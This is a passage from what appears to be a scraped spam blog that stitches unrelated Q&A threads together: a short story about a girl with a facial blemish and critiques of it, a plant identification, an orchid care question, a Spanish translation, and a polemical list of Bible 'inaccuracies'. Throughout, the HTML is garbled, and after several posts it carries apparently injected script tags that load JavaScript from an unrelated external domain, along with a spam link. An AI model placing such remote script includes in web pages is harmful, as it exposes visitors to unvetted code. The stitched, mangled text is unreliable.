a large fourtune to keep the grieving family and the police force quiet. Most of the time, they gave in to the large pile of money and never spoke another word about it. Applegale was a unofficial dictatorship, with most of the citizens being the dictator to theirselves. <br><br /><br /><br><br /><br />But, I was lucky for only being alienated, instead of killed from my fellow neighbors. When I was born, I was a very beautiful baby, always adored by others. But as I got older, my deformity began to settle into my skin. I was cursed by discoloration as a large spot stood out in on the side of my face. My parents, ashamed and embarrassed by having to deal with a deformed child, immediately took me to get it fixed. But after the plastic surgeon practically laughed in my parent%26#039;s face and told me that a 7 year old was way too young to go under the knife, they gave up their plans to cancel out my flaws.Well almost, at least. <br><br /><br /><br><br /><br />Right after we came from the plastic surgeon%26#039;s office, I can remember that whole scene while I was in the car with my parents. I can remember the atmosphere. It was so thick with tension, that I could barely breathe. Then, I can vividly remember my mother ask my father, <br><br /><br /><br><br /><br />%26quot;James. Can we please go to the mall right now? It%26#039;s important.%26quot; <br><br /><br /><br><br /><br />He replied, %26quot;Alice, I don%26#039;t see why not. But don%26#039;t take long. I have a meeting at 4.%26quot; <br><br /><br /><br><br /><br />So we pulled up to the mall%26#039;s parking lot. Personally, I never was so fond of going to the mall, so normally, I always stayed in the car with my dad. <br><br /><br /><br><br /><br />But then, my mother demanded, %26quot;Victoria. Please get out out of the car. You%26#039;re going with me today.%26quot; <br><br /><br /><br><br /><br />%26quot;But I don%26#039;t want to go mom!%26quot;, I replied, as tears started to caress my eyes. <br><br /><br /><br><br /><br />%26quot;Now!%26quot; She ordered. <br><br /><br /><br><br /><br />So Then I climbed out of the car with my mother, as she grabbed my hand. At first, I was very oblivious of the reason why she was taking me to the mall with her when she already knew that I hated it. Then suddenly, the reason washed over me and consumed me like a giant wave. <br><br /><br /><br><br /><br />We walked all through the mall, through perfect familes with their children who stared at the side of my face, groups of teenagers whispered and giggled to each other and result of seeing me, and even solitary people looked up. I just wanted to disappear. I wanted to melt and saturate into the floor so escape that horrible feeling of being the freak. <br><br /><br /><br><br /><br />Then, finally, we stopped at a cosmetic boutique. We entered the store, and I was awashed by expensive smells of perfume and body cream. Not suprisingly, the store was only occupied by only a few customers, excluding the saleswoman, who was walking towards our direction. <br><br /><br /><br><br /><br />When she was only a couple feet away from my mom and I she glanced at my mother, and then at me, Her eyes immediately flinched at my sight and then it immediately went back to my mother. Then she asked, %26quot;Hello. How may I help you?%26quot; <br><br /><br /><br><br /><br />My mom smiled with her pearly white smile and then replied, %26quot;Yes. Where can I find the foundation?%26quot; <br><br /><br /><br><br /><br />The saleswoman pointed over to the left of the small boutique as she said, %26quot; It%26#039;s right over there, Here, let me show you.%26quot; <br><br /><br /><br><br /><br />We followed her as she guided us, and I couldn%26#039;t help but to look at her. She was the typical resident of Applegale, with a heartshaped face ,occupied with prominent blue eyes and full, cherry lacqured lips, with silky, chestnut colored locks cascading down her back. Her body was also very thin and long, clad in a clean and crisp ralph lauren polo, khaki bermunda shorts, and her feet fitted perfectly in her wedges. I wouldn%26#039;t be suprised if she used to be a supermodel. <br><br /><br /><br><br /><br />Then we arrived there, to the shelf of countless foundation bottles, concealer, and face powder. <br><br /><br /><br><br /><br />%26quot;Thank you so much for helping us.%26quot;, My mother said <br><br /><br /><br><br /><br />%26quot; No problem miss.%26quot;, the saleswoman replied. <br><br /><br /><br><br /><br />After a long period of time, my mother finally chose one bottle of foundation, that was my exact skin color, and a tube of concealer. Then we walked up to the counter as she paid for the items with the credit card. Then, we finally left. <br><br /><br /><br><br /><br />An hour after I got home, I was sitting in my room, playing with dolls, deep in my imagination based world. Then, a knock, followed by a voice brought me back into reality. <br><br /><br />%26quot;Victoria? Are you in there? %26quot;, my mother asked. <br><br /><br />%26quot;%26#039;Yes mother.%26quot; <br><br /><br />%26quot;Well I need to speak to you.%26quot;, she demanded. <br><br /><br />My bedroom door opened. <br><br /><br />After my mother walked in with her tote and settled in a overstuffed chair, she said, %26quot; Come over here, would you?%26quot; <br><br /><br />I grabbed a pillow, and then sat on the floor across from her. <br><br /><br />Then she asked, %26quot; Do you want to know why I took you with me to the cosmetic boutique?%26quot; <br><br /><br />%26quot;No,%26quot; I lied, still in denial about the whole situation. <br><br /><br />%26quot; Well Victoria, I don%26#039;t want you to be the freak of this neighborhood with that scar. I can%26#039;t take you to the plasic surgeon, so here is the product that will make you normal.%26quot; <br><br /><br />%26quot;But Mom,%26quot; I asked, %26quot;what does it matter whether I%26#039;m normal or not? Why can%26#039;t I be a regular kid?%26quot; <br><br /><br />%26quot;Vicky, let me give you a bit of wisdom here. People in this town do not care about the inner contents of you, they only care about your appearances. They will judge you by that scar and only by it; and they wouldn%26#039;t care how you%26#039;re really like inside if you%26#039;re flawed. So please follow my advice, or your life in this town will be a terrible place for you for many years to come. %26quot; <br><br /><br />Then, my mother bended down and reached into her tote, grabbing the foundation and face powder. <br><br /><br />She continued,%26quot; So here is the product that will make you normal. Please wear it or your not going to fit in this society. As a matter of fact, I%26#039;m going to show you how to put it on right now.%26quot; <br><br /><br /><br><br /><br />So, without hesitation, I let her apply the foundation, eventhough in the inside, I was screaming, begging her to stop. I didn%26#039;t want this oily stuff on my skin like a adult, I wanted to be a kid. However, on that day, I wasn%26#039;t a kid anymore. That was the first day of trying to be the prototype of Applegale.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower1.js type=text/javascript></script><br>Can someone please critique my story?????<br>way to much too read. i%26#039;m sorry. can you just summerize it for me. i%26#039;m not trying to be rude or mean by not reading it. it%26#039;s just that it%26#039;s too long and my computar will heat up. i%26#039;m sorry. i know how it feels like too when you want someone to critique your story and no one will do it. maybe i%26#039;ll do it later.<br>Reply:So let me guess, you live in Greenwitch, CT? Been there...<br><br /><br /><br><br /><br />or is this story about Wilton, CT? i heard it can be worse. <br><br /><br /><br><br /><br />Greenwitch is full of blondes but wilton might have more chestnut haired ones -- so i%26#039;m guessing -- Wilton!<br><br /><br /><br><br /><br />usually i don%26#039;t say anything to these sorts of things because i have nothing to say that will be listened to. i gave up on writing when i realised that the same ppl who pay you to write are the only ppl who can SELL what you write, so if you write what you want to write you can%26#039;t sell it. i suggested advertising my book on Second Life and didn%26#039;t quite get flamed but gave up -- apparently i%26#039;d be %26quot;taking advantage%26quot; of ppl by making them look at a 2-d billboard having 5 words on it simply because i was advertising a real-world product and not a virtual one (which would be ok). <br><br /><br /><br><br /><br />But to your story....<br><br /><br />starts of good but gets too bitter too fast. they say %26quot;show, don%26#039;t tell%26quot;. You show -- THEN tell, and tell, and tell. write out on a seperate piece of paper what is the point of ever sentance such as %26quot;emphais on plastic surgery%26quot; and delete every repetition.<br><br /><br />For exmaple %26quot;They will do everything to appear perfect to the society, to keep up their appearances and to have everyone and even the surroundings to look as perfect as possible- no matter what.%26quot; is not needed sentance because you show that before and after by saying what they DO which speaks that sentance for you. you have lots like that.<br><br /><br /><br><br /><br />you seem to have a good natural style but it is confounded by lots of un-neede words? guess you need to proof read but i think you know that.<br><br /><br /><br><br /><br />you did capture SOMETHING there that makes me want to read it, to know what happens next, possibly because i%26#039;ve SEEN Greenwitch, CT. I%26#039;m curious how having makeup alters this girl%26#039;s life -- i mean she really hates but is wearing it, and so the other ppl (being as shallow as they are) will only see that she is wearing it (not that she hates it) and will probably like her and be nice to her no matter what she thinks about them or feels about her makup... i know all that (no need to TELL me because you shown it) but i still don%26#039;t know where exactly it is going so i want to know.<br><br /><br /><br><br /><br />still, keep in mind, that the only way write what YOU want to write and to get it read is to have a RESUME and a PORTFOLIO of published works -- and the only way to get that is to major in creative writing and then work for some fashion magazin or auto mechic or something. only once you have a name for yourself and you know editor%26#039;s children%26#039;s names can you write what you want to write -- AND GET IT SOLD. <br><br /><br />i know i know -- someone told you %26quot;follow ur dreams and don%26#039;t listen to anyone who tells you otherwise%26quot; but consider yourself warned. your gonna end up on lulu.com with only friends for readers -- no matter how well you write -- and you do make ME want to keep reading what you wrote (despite the clearly amateur flaws in your writing - repetition and style) so i think you are good.<br><br /><br />i%26#039;m just saying if you really wanna write, do it the right way -- don%26#039;t do what i did and follow %26quot;art%26quot; but make a %26quot;career%26quot; out of it. i would recomend a double major -- creative writing and a 2nd one for a career you can be sure will pay you enough so you don%26#039;t end up living with your parents and unemployed for the rest of your life... that would be really an embarassment in Applegate...<br>Reply:it%26#039;s pretty good, but a little harsh. but overall pretty good.<br>Reply:Honestly, I didn%26#039;t read the entire thing but from what I saw, I thought it was pretty good. Maybe try and find other words to supplement %26quot;so%26quot; and %26quot;then.%26quot; I like the storyline so far though.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-10130640186327255792011-11-18T00:44:00.000-08:002011-11-18T00:44:00.441-08:00Can anyone identify the vine that grows from a 'fortune telling bean'?My daughter bought a novelty plant in the spring, a bean in a can, when it sprouted it had a fortune on the 1st leaves. Her%26#039;s said %26quot;Money, Money, Money%26quot;. The bean was large and reddish brown, much like a large kidney bean, which I thought it was. The vine is now as tall as our 2 story house, growing up in trees, across fences, its crazy. It has medium sized purple flowers that look like a giant snap dragon or small orchid and is producing thick beans that are approx 12 inches in length that turn brown and have 8 or 10 red beans inside.<br><br /><br /><br><br /><br />I have read doing an internet search, that the way to laser the %26quot;fortunes%26quot; on these %26#039;fortune telling beans%26#039; were developed in Japan, and they were first marketed there, but I can%26#039;t find any discription of the plant itself.<br><br /><br />Before I pass these seeds on to friends and family, please help me find out what it is.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower2.js type=text/javascript></script><br>Can anyone identify the vine that grows from a %26#039;fortune telling bean%26#039;?<br>It%26#039;s most definitely NOT kudzu. I grew up around kudzu, and it is awful, but definitely not anything like a bean.<br><br /><br /><br><br /><br />Here is the definitive answer:<br><br /><br /><br><br /><br />You have a sword bean plant.<br><br /><br /><br><br /><br />Detailed information on Sword Bean (Canavalia gladiata) <br><br /><br /> <br><br /><br /> One vendor has this plant for sale.<br><br /><br />Family: Papilionaceae (puh-pil-ee-uh-NAY-see-ee) (Info)<br><br /><br />Genus: Canavalia (kan-uh-VAY-lee-uh) (Info)<br><br /><br />Species: gladiata (glad-ee-AY-tuh) (Info)<br><br /><br /><br><br /><br />Category:<br><br /><br />Annuals<br><br /><br />Vegetables<br><br /><br />Groundcovers<br><br /><br />Vines and Climbers<br><br /><br /><br><br /><br />Height:<br><br /><br />6-8 ft. (1.8-2.4 m)<br><br /><br />20-30 ft. (6-9 m)<br><br /><br /><br><br /><br />Spacing:<br><br /><br />Unknown - Tell us<br><br /><br /><br><br /><br />Hardiness:<br><br /><br />USDA Zone 8b: to -9.4° C (15° F)<br><br /><br />USDA Zone 9a: to -6.6° C (20° F)<br><br /><br />USDA Zone 9b: to -3.8° C (25° F)<br><br /><br />USDA Zone 10a: to -1.1°C (30° F)<br><br /><br />USDA Zone 10b: to 1.7° C (35° F)<br><br /><br />USDA Zone 11: above 4.5° C (40° F)<br><br /><br /><br><br /><br /><br><br /><br />Sun Exposure:<br><br /><br />Full Sun<br><br /><br />Sun to Partial Shade<br><br /><br /><br><br /><br /><br><br /><br />Danger:<br><br /><br />Parts of plant are poisonous if ingested<br><br /><br /><br><br /><br /><br><br /><br />Bloom Color:<br><br /><br />Rose/Mauve<br><br /><br />Violet/Lavender<br><br /><br />Purple<br><br /><br /><br><br /><br /><br><br /><br />Bloom Time:<br><br /><br />Late Spring/Early Summer<br><br /><br />Mid Summer<br><br /><br />Blooms repeatedly<br><br /><br /><br><br /><br /><br><br /><br />Foliage:<br><br /><br />Herbaceous<br><br /><br />Smooth-Textured<br><br /><br /><br><br /><br /><br><br /><br />Other details:<br><br /><br />Drought-tolerant; suitable for xeriscaping<br><br /><br />Average Water Needs; Water regularly; do not overwater<br><br /><br /><br><br /><br /><br><br /><br />Soil pH requirements:<br><br /><br />5.6 to 6.0 (acidic)<br><br /><br />6.1 to 6.5 (mildly acidic)<br><br /><br />6.6 to 7.5 (neutral)<br><br /><br />7.6 to 7.8 (mildly alkaline)<br><br /><br /><br><br /><br /><br><br /><br />Propagation Methods:<br><br /><br />From seed; sow indoors before last frost<br><br /><br />From seed; direct sow after last frost<br><br /><br />From seed; germinate in a damp paper towel<br><br /><br /><br><br /><br /><br><br /><br />Seed Collecting:<br><br /><br />Allow pods to dry on plant; break open to collect seeds<br><br /><br /><br><br /><br />Noun 1. sword bean - twining tropical Old World plant bearing long pods usually with red or brown beans; long cultivated in Orient for food<br><br /><br />Canavalia gladiata<br><br /><br />Canavalia, genus Canavalia - herbs or woody vines of mainly American tropics and subtropics<br><br /><br />vine - weak-stemmed plant that derives support from climbing, twining, or creeping along a surface<br><br /><br /><br><br /><br />Canavalia gladiata Elevation: up to 1,500m<br><br /><br />Sword Bean MS, LL, RF, H<br><br /><br /> Uncooked seed is toxic at any stage, BUT young tender immature pods are edible after being boiled and water poured off. Do not eat in large quantities and do not eat mature seeds, even after boiling! Drought-tolerant, green manure; seeds germinate readily. Optimum growth occurs in full sunlight but sword beans are tolerant of some shade. Preferred environmental conditions are found in the humid lowland tropics but these beans may be grown with success in tropical elevations to 1,000 m (3,000 ft). Sword Bean thrives in tropical climates exhibiting moderately high temperature (15-30°C/59-86°F) environments. Sword Bean is tolerant of a wide range of rainfall conditions (from 700-4,200 mm or approximately 27-165 in). Sword Bean is well adapted to growth and survival in low-quality soils. <br><br /><br /><br><br /><br />Soil pH: 4.3-7.5.<br>Reply:My best guess is that these are Kudzu vines--a very invasive pest originally from Japan. I do not recommend planting or growing these as they are so invasive.<br><br /><br /><br><br /><br />Please see the below link for more information:<br><br /><br /><br><br /><br />http://www.invasive.org/eastern/srs/K.ht...<br>Reply:I never heard of it,dig it up<br>Reply:try and join this yahoo group gardenmessenger they are very good and will answer all gardening questions - they also have a very good web-site http://www.gardenmessenger.net/<br>Reply:Cant the Fortune Cookie tell you? lol<br>Reply:I think what you got is this one:<br><br /><br />http://news.bbc.co.uk/2/hi/asia-pacific/...<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-18129090599120561622011-11-18T00:43:00.002-08:002011-11-18T00:43:43.713-08:00Get answers from millions of real people.?My dendrobium orchids are rotting and the leaves are dying only at the very tip of the plants. The rest of the plant is healthy. This also happens when a new shoot comes out. It is healthy for the first few weeks then it starts to turn yellow and dies, always from the tip .<br><br /><br />Can you please advise me why this is happening. My green house is made of 50% black polythene but it is directly under a fruit bearing tree. Some say that this has an effect on the growth of the plants.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower1.js type=text/javascript></script><br>Get answers from millions of real people.?<br>I%26#039;ve heard that the gases given off by fruiting trees ( the fruit) can damage orchids, but I%26#039;m not sure.<br><br /><br />Talk to your local nursery and see if they can recommend something or better yet, take in one of your plants and see if they can idenify what the problem is.<br><br /><br /><br><br /><br />Sorry I couldn%26#039;t be of more help...<br>Reply:GOOD<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-6893176543230881612011-11-18T00:43:00.001-08:002011-11-18T00:43:27.521-08:00Translate These Sentences Into Spanish?1.Panama’s national flower is one orchid. The national dance is el tamborito.<br><br /><br />PANAMA means in our culture, abundance of butterflies,abundance of fishes,abundance of trees..in our native tradition....<br><br /><br /><br><br /><br />2. The population in Panama is more than 3 million people. Most of them speak Spanish. About 10% can speak in English. Most of these people are in the capital, colon, and the old zone of canal region..<br><br /><br /><br><br /><br />3. Panama uses the balboa like money. But the U.S. currency is accepted and used like equal authorized money by agreement between U.S. government and panama more than 100 years ago<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower2.js type=text/javascript></script><br>Translate These Sentences Into Spanish?<br>1. La flor nacional de Panamá es la orquídea. El baile nacional es el tamborito. Panamá significa en nuestra cultura, abundancia de mariposas, abundancia de peces, abundancia de árboles... en nuestra tradición nativa.<br><br /><br /><br><br /><br />2. La población de Panamá es de más de tres millones de personas. La mayoría de ellas habla el español. Aproximadamente el 10% sabe hablar el inglés. La mayoría de los habitantes vive en la capital, Colón, y en la zona antigua de la región del canal.<br><br /><br /><br><br /><br />3. La moneda de Panamá es la balboa, pero la moneda de EE.UU. es aceptada y usada como moneda equivalente autorizada por acuerdo hecho hace más de 100 años entre el gobierno de EE.UU. y Panamá.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><a href=http://www.myspace-codes.com.cn/myspace-layouts/>myspace layouts</a>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-41547358452659308702011-11-18T00:43:00.000-08:002011-11-18T00:43:19.037-08:00Why are there so many scientific and historical innacuracies in the word of your God?Science and History in the Bible <br><br /><br />All fowls that creep, going upon all four, shall be an abomination unto you.--Lev.11:20 <br><br /><br /><br><br /><br />Arguments cannot be answered by personal abuse.... Should it turn out that I am the worst man in the whole world, the story of the flood will remain just as improbable as before, and the contradictions of the Pentateuch will still demand an explanation. -- Robert Ingersoll, Some Mistakes of Moses <br><br /><br /><br><br /><br />Genesis<br><br /><br /><br><br /><br />The Genesis 1 creation account conflicts with the order of events that are known to science. In Genesis, the earth is created before light and stars, birds and whales before reptiles and insects, and flowering plants before any animals. The true order of events was just the opposite. 1:1-2:3 <br><br /><br /><br><br /><br />God creates light and separates light from darkness, and day from night, on the first day. Yet he didn%26#039;t make the light producing objects (the sun and the stars) until the fourth day (1:14-19). And how could there be %26quot;the evening and the morning%26quot; on the first day if there was no sun to mark them? 1:3-5 <br><br /><br /><br><br /><br />God spends one-sixth of his entire creative effort (the second day) working on a solid firmament. This strange structure, which God calls heaven, is intended to separate the higher waters from the lower waters. 1:6-8 <br><br /><br /><br><br /><br />Plants are made on the third day before there was a sun to drive their photosynthetic processes (1:14-19). 1:11 <br><br /><br /><br><br /><br />God lets %26quot;the earth bring forth%26quot; the plants, rather than creating them directly. Maybe Genesis is not so anti-evolution after all. 1:11 <br><br /><br /><br><br /><br />In an apparent endorsement of astrology, God places the sun, moon, and stars in the firmament so that they can be used %26quot;for signs%26quot;. This, of course, is exactly what astrologers do: read %26quot;the signs%26quot; in the Zodiac in an effort to predict what will happen on Earth. 1:14 <br><br /><br /><br><br /><br />God makes two lights: %26quot;the greater light [the sun] to rule the day, and the lesser light [the moon] to rule the night.%26quot; But the moon is not a light, but only reflects light from the sun. And why, if God made the moon to %26quot;rule the night%26quot;, does it spend half of its time moving through the daytime sky? 1:16 <br><br /><br /><br><br /><br />%26quot;He made the stars also.%26quot; God spends a day making light (before making the stars) and separating light from darkness; then, at the end of a hard day%26#039;s work, and almost as an afterthought, he makes the trillions of stars. 1:16 <br><br /><br /><br><br /><br />%26quot;And God set them [the stars] in the firmament of the heaven to give light upon the earth.%26quot; 1:17 <br><br /><br /><br><br /><br />In verse 11, God %26quot;let the earth bring forth%26quot; the plants. Now he has the earth %26quot;bring forth%26quot; the animals as well. So maybe the creationists have it all wrong. Maybe God created livings things through the process of evolution. 1:24 <br><br /><br /><br><br /><br />God gave humans dominion over every other living thing on earth. 1:26 <br><br /><br /><br><br /><br />God commands us to %26quot;be fruitful and multiply, and replenish the earth, and subdue it: and have dominion over ... every living thing that moveth upon the earth.%26quot; 1:28 <br><br /><br /><br><br /><br />%26quot;I have given you every herb ... and every tree ... for meat.%26quot; 1:29 <br><br /><br /><br><br /><br />All animals were originally herbivores. Tapeworms, vampire bats, mosquitoes, and barracudas -- all were strict vegetarians, as they were created by God. 1:30 <br><br /><br /><br><br /><br />%26quot;God saw every thing that he had made, and, behold, it was very good.%26quot; He purposefully designed a system that ensures the suffering and death of all his creatures, parasite and host, predator and prey. 1:31 <br><br /><br /><br><br /><br />In Genesis 1 the entire creation takes 6 days, but the universe is at least 12 billion years old, with new stars constantly being formed. 1:31 <br><br /><br /><br><br /><br />Humans were not created instantaneously from dust and breath, but evolved over millions of years from simpler life forms. 2:7 <br><br /><br /><br><br /><br />After making the animals, God has Adam name them all. The naming of several million species must have kept Adam busy for a while. 2:18-22 <br><br /><br /><br><br /><br />God fashions a woman out of one of Adam%26#039;s ribs. <br><br /><br />Because of this story, it was commonly believed (and sometimes it is still said today) that males have one less rib than females. When Vesalius showed in 1543 that the number of ribs was the same in males and females, it created a storm of controversy. 2:19 <br><br /><br /><br><br /><br />God curses the serpent. From now on the serpent will crawl on his belly and eat dust. One wonders how he got around before -- by hopping on his tail, perhaps? But snakes don%26#039;t eat dust, do they? 3:14 <br><br /><br /><br><br /><br />Because Adam listened to Eve, God cursed the ground and causes thorns and thistles to grow. Before this, according to the (false) Genesis story, plants had no natural defenses. The rose had no thorn, cacti were spineless, holly leaves were smooth, and the nettle had no sting. Foxgloves, oleander, and milkweeds were all perfectly safe to eat. 3:17-18 <br><br /><br /><br><br /><br />%26quot;There were giants in the earth in those days.%26quot; Well, I suppose it%26#039;s good to know that. But why is there no archaeological evidence for the existence of these giants? 6:4 <br><br /><br /><br><br /><br />Noah is told to make an ark that is 450 feet long. 6:14-15 <br><br /><br /><br><br /><br />Whether by twos or by sevens, Noah takes male and female representatives from each species of %26quot;every thing that creepeth upon the earth.%26quot; 7:8 <br><br /><br /><br><br /><br />God opens the %26quot;windows of heaven.%26quot; He does this every time it rains. 7:11 <br><br /><br /><br><br /><br />All of the animals boarded the ark %26quot;in the selfsame day.%26quot; 7:13-14 <br><br /><br /><br><br /><br />The flood covered the highest mountain tops (Mount Everest?) with fifteen cubits to spare. 7:20 <br><br /><br /><br><br /><br />%26quot;The windows of heaven were stopped, and the rain from heaven was restrained.%26quot; This happens whenever it stops raining. 8:2 <br><br /><br /><br><br /><br />Noah sends a dove out to see if there was any dry land. But the dove returns without finding any. Then, just seven days later, the dove goes out again and returns with an olive leaf. But how could an olive tree survive the flood? And if any seeds happened to survive, they certainly wouldn%26#039;t germinate and grow leaves within a seven day period. 8:8-11 <br><br /><br /><br><br /><br />When the animals left the ark, what would they have eaten? There would have been no plants after the ground had been submerged for nearly a year. What would the carnivores have eaten? Whatever prey they ate would have gone extinct. And how did the New World primates or the Australian marsupials find their way back after the flood subsided? 8:19 <br><br /><br /><br><br /><br />Noah kills the %26quot;clean beasts%26quot; and burns their dead bodies for God. According to 7:8 this would have caused the extinction of all %26quot;clean%26quot; animals since only two of each were taken onto the ark. 8:20-21 <br><br /><br /><br><br /><br />%26quot;Be fruitful, and multiply, and replenish the earth.%26quot; Although this would have been good advice for the mythical Noah, it is deadly advice for humankind as a whole. Overpopulation is one of our greatest problems, yet there is nothing in the bible to address it. 9:1 <br><br /><br /><br><br /><br />According to this verse, all animals fear humans. Although it is true that many do, it is also true that some do not. Sharks and grizzly bears, for example, are generally much less afraid of us than we are of them. 9:2 <br><br /><br /><br><br /><br />%26quot;Into your hand are they (the animals) delivered.%26quot; God gave the animals to humans, and they can do whatever they please with them. This verse has been used by bible believers to justify all kinds of cruelty to animals and environmental destruction. 9:2 <br><br /><br /><br><br /><br />God is rightly filled with remorse for having killed his creatures. He even puts the rainbow in the sky to remind himself of his promise to the animals not to do it again. But rainbows are caused by the nature of light, the refractive index of water, and the shape of raindrops. There were rainbows billions of years before humans existed. 9:13 <br><br /><br /><br><br /><br />Some creationists believe that this verse refers to continental drift, which, they say, began to occur during the days of Pelag (which means %26quot;division%26quot;), about 100 or so years after the flood. But many other creationists disagree. 10:25 <br><br /><br /><br><br /><br />%26quot;The whole earth was of one language.%26quot; But this could not be true, since by this time (around 2400 BCE) there were already many languages, each unintelligible to the others. 11:1, 6 <br><br /><br /><br><br /><br />God worries that people could build a tower high enough to reach him (them?) in heaven, and that by so doing they will become omnipotent. 11:4-6 <br><br /><br /><br><br /><br />According to the Tower of Babel story, the many human languages were created instantaneously by God. But actually the various languages evolved gradually over long periods of time. 11:9 <br><br /><br /><br><br /><br />The ridiculously long lives of the patriarchs. 11:10-32 <br><br /><br /><br><br /><br />%26quot;And they returned to the land of the Philistines.%26quot; But the Philistines didn%26#039;t arrive in the region of Canaan until around 1200 BCE -- 800 years after Abraham%26#039;s supposed migration from Ur. 21:32, 26:1, 8, 15, 18 <br><br /><br /><br><br /><br />Laban learns %26quot;by experience%26quot; that God has blessed him for Jacob%26#039;s sake. %26quot;By experience%26quot; means %26quot;by divination%26quot;, at least that is how most other versions translate this verse. 30:27 <br><br /><br /><br><br /><br />Jacob displays his (and God%26#039;s) knowledge of biology by having goats copulate while looking at streaked rods. The result is streaked baby goats. 30:37-39 <br><br /><br /><br><br /><br />God (or an angel) praises Jacob for his fancy genetic work in Gen.30:37-39. 31:11-12 <br><br /><br /><br><br /><br />Joseph and his magic divining cup. 44:5, 44:15 <br><br /><br />Exodus<br><br /><br /><br><br /><br />It took the Israelites 40 years to travel from Egypt to Canaan, yet such a journey, even at that time, would have taken no more than ten days. 16:35 <br><br /><br /><br><br /><br />The Israelite population went from 70 (or 75) to several million in a few hundred years. 1:5,7, 12:37, 38:26 <br><br /><br /><br><br /><br />Why are some people born with disabilities? Because God deliberately makes them that way. 4:11 <br><br /><br /><br><br /><br />God led the Israelites through the land of the Philistines, hundreds of years before the Philistines were established in Canaan. 13:17 <br><br /><br /><br><br /><br />%26quot;The manna referred to in the Bible, in Exodus 16:14, seems to have been the dried excrement of Trabutina mannipara, a scale insect that feeds on tamarisk trees.%26quot; Benjamin B. Normark, The Sex Lives of Scales, Natural History, Sept. 2004. 16:14-15 <br><br /><br /><br><br /><br />%26quot;In six days the LORD made heaven and earth, the sea, and all that in them.%26quot;<br><br /><br />Believers often say that the %26quot;days%26quot; of creation should be taken allegorically, but this verse is quite clear. God created the universe in six 24 hour days. 20:11 <br><br /><br />Leviticus<br><br /><br /><br><br /><br />The bible says that hares and coneys are unclean because they %26quot;chew the cud%26quot; but do not part the hoof. But hares and coneys are not ruminants and they do not %26quot;chew the cud.%26quot; 11:5-6 <br><br /><br /><br><br /><br />Bats are birds to the biblical God. 11:13, 19 <br><br /><br /><br><br /><br />Be sure to watch out for those %26quot;other flying creeping things which have four feet.%26quot; (I wish God wouldn%26#039;t get so technical!) I guess he must mean four-legged insects. You%26#039;d think that since God made the insects, and so many of them (at least several million species), that he would know how many legs they have! 11:23 <br><br /><br /><br><br /><br />God%26#039;s law for lepers: Get two birds. Kill one. Dip the live bird in the blood of the dead one. Sprinkle the blood on the leper seven times, and then let the blood-soaked bird fly off. Next find a lamb and kill it. Wipe some of its blood on the patient%26#039;s right ear, thumb, and big toe. Sprinkle seven times with oil and wipe some of the oil on his right ear, thumb and big toe. Repeat. Finally kill a couple doves and offer one for a sin offering and the other for a burnt offering. 14:2-52 <br><br /><br />Numbers<br><br /><br /><br><br /><br />The Israelite population went from seventy (Ex.1:5) to several million (over 600,000 adult males) in just a few generations! 1:45-46 <br><br /><br /><br><br /><br />God sends quails to feed his people until they were %26quot;two cubits [about a meter] high upon the face of the earth.%26quot; Taking the %26quot;face of the earth%26quot; to be a circle with a radius of say 30 kilometers (an approximate day%26#039;s journey), this would amount to 3 trillion (3x1012) liters of quails. At 2 quails per liter, this would provide a couple million quails for each of several million people. 11:31 <br><br /><br /><br><br /><br />God strikes Miriam with leprosy. (In the Bible, leprosy is caused by the wrath of God or the malice of Satan.) 12:10 <br><br /><br /><br><br /><br />%26quot;And there we saw the giants ... And we were in our own sight as grasshoppers, and so we were in their sight.%26quot; This statement may have been figurative, hyperbole, typical biblical exaggeration, or an actual description of the sons of Anak, in which case they must have been about 100 meters tall. These are the same giants (the Nephilium) that resulted when the %26quot;sons of God%26quot; mated with %26quot;the daughters of men in Gen.6:4. Of course these superhuman god-men should have been destroyed in the flood. So what are they doing still alive? 13:33 <br><br /><br /><br><br /><br />It took the Israelites 40 years to travel from Egypt to Canaan, yet such a journey, even at that time, would have taken no more than ten days. 14:33, 32:13 <br><br /><br /><br><br /><br />God%26#039;s cure for snakebite: a brass serpent on a pole. 21:8 <br><br /><br /><br><br /><br />God has %26quot;the strength of a unicorn.%26quot; Oh heck, I bet he%26#039;s even stronger than a unicorn. 23:22, 24:8 <br><br /><br />Deuteronomy<br><br /><br /><br><br /><br />It took the Israelites 40 years to travel from Egypt to Canaan, yet such a journey, even at that time, would have taken no more than ten days. 2:7, 8:2, 29:5 <br><br /><br /><br><br /><br />%26quot;A land of giants: giants dwelt therein in old time.%26quot; (They must have been much more common back then.) 2:10-11, 20-21 <br><br /><br /><br><br /><br />Og, the king of the giants, was a tall man, even by NBA standards. His bed measured 9 by 4 cubits (13.5 feet long and 6 feet wide). 3:11 <br><br /><br /><br><br /><br />God promises to cast out seven nations including the Amorites, Canaanites, and the Jebusites. But he was unable to fulfill his promise. These nations were %26quot;greater and mightier%26quot; than the Israelites, who according to Ex.12:37 and Num.1:45-46 already had numbered several million. So the region, according to the bible, must have had a population of more than twenty million! 7:1 <br><br /><br /><br><br /><br />This verse mistakenly says that the hare chews its cud. 14:7-8 <br><br /><br /><br><br /><br />To the biblical God, a bat is just an another unclean bird. 14:11, 18 <br><br /><br /><br><br /><br />%26quot;Their wine is the poison of dragons.%26quot; I wonder what genus and species the bible is referring to when it mentions dragons. 32:33 <br><br /><br /><br><br /><br />Joseph%26#039;s %26quot;horns are like the horns of a unicorn.%26quot; 33:17 <br><br /><br />Joshua<br><br /><br /><br><br /><br />It took the Israelites 40 years to travel from Egypt to Canaan, yet such a journey, even at that time, would have taken no more than ten days. 5:6 <br><br /><br /><br><br /><br />In Joshua 8 the Israelites destroy Ai and make it a desolate heap. But Ai was an abandoned city by the time of the Israelites and this story is a myth invented to explain the ruins of an ancient city that the Israelites encountered. See 